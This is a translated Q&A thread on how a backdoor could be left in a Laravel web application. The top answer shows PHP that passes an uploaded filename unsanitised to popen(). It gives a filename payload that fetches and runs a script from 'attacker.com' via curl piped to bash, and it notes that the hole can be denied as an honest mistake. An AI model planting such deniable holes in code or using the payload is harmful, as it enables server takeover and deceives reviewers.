Come lasciare una backdoor in un'applicazione Laravel?

-2

Sono piuttosto curioso di sapere come qualcuno potrebbe lasciare una backdoor in un'applicazione Laravel? Secondo me non c'è un modo, perché il punto di ingresso delle richieste è un file di percorso, e devi scrivere il codice per il percorso in modo che ci sia qualcosa da eseguire. Il tuo membro del team sarà in grado di rintracciarlo e ti dirà "Ehi, che cos'è?".

Ogni richiesta ha un punto di ingresso e tale punto di ingresso è un percorso in questo caso, che chiamerà un controller specifico e il suo metodo. E lì hai una logica che può essere eseguibile.

Poiché sappiamo che devi seguire alcune regole abbastanza pulite per scrivere query SQL, la protezione CSRF è già presente. Le vulnerabilità di sicurezza comune sono ben trattate nel framework di Laravel.

Quindi quali sono i modi possibili per lasciare una backdoor in un'applicazione web?

    
posta Comrade 22.04.2017 - 20:16
fonte

2 risposte

2

So what are the possible ways to leave a backdoor in a web application ?

Di ', hai un URL per caricare un documento. I file vengono caricati su questo URL abbastanza innocuo:

https://example.com/upload.php?filename=blah.doc
# alternatively, filename could be in the request body, which makes no difference to the attack vector

Hai un codice che converte il documento caricato in html per l'anteprima nel browser:

$filename = $GET["filename"];
...
popen("doc2html " + $filename, "r");
# alternatively, using Symfony's Process class makes no difference to vulnerability

Sembra innocuo, ma sfortunatamente questo codice fornisce a un utente malintenzionato l'accesso completo alla tua macchina. L'autore dell'attacco può semplicemente caricare un file chiamato qualcosa come foo.doc || curl http://attacker.com/script.sh | bash , in altre parole caricare su https://example.com/upload.php?filename=foo.doc%20%7C%7C%20curl%20http%3A%2F%2Fattacker.com%2Fscript.sh%20%7C%20bash . E quando popen()-ed , questo nome file causerà il download e l'esecuzione di script.sh.

Se il bug è stato trovato, puoi semplicemente dire "oops, è stato un errore onesto", puoi plausibilmente negare che hai intenzionalmente inserito la backdoor.

    
risposta data 23.04.2017 - 14:09
fonte
-3

Non lasci una backdoor. Le porte di servizio sono lasciate involontariamente. Ad esempio, quando ti connetti al tuo database remoto senza canali sicuri (ssl forse) che non è crittografato, stai lasciando una vulnerabilità. Supponi che qualcuno tocchi la tua comunicazione o che in qualche modo ottenga il tuo url (stringa di connessione) e altera / cancelli il tuo database che è vulnerabile e perdi tutti i tuoi preziosi dati, quindi sarà sfruttamento della tua vulnerabilità o semplicemente usando una backdoor

    
risposta data 23.04.2017 - 00:08
fonte

Leggi altre domande sui tag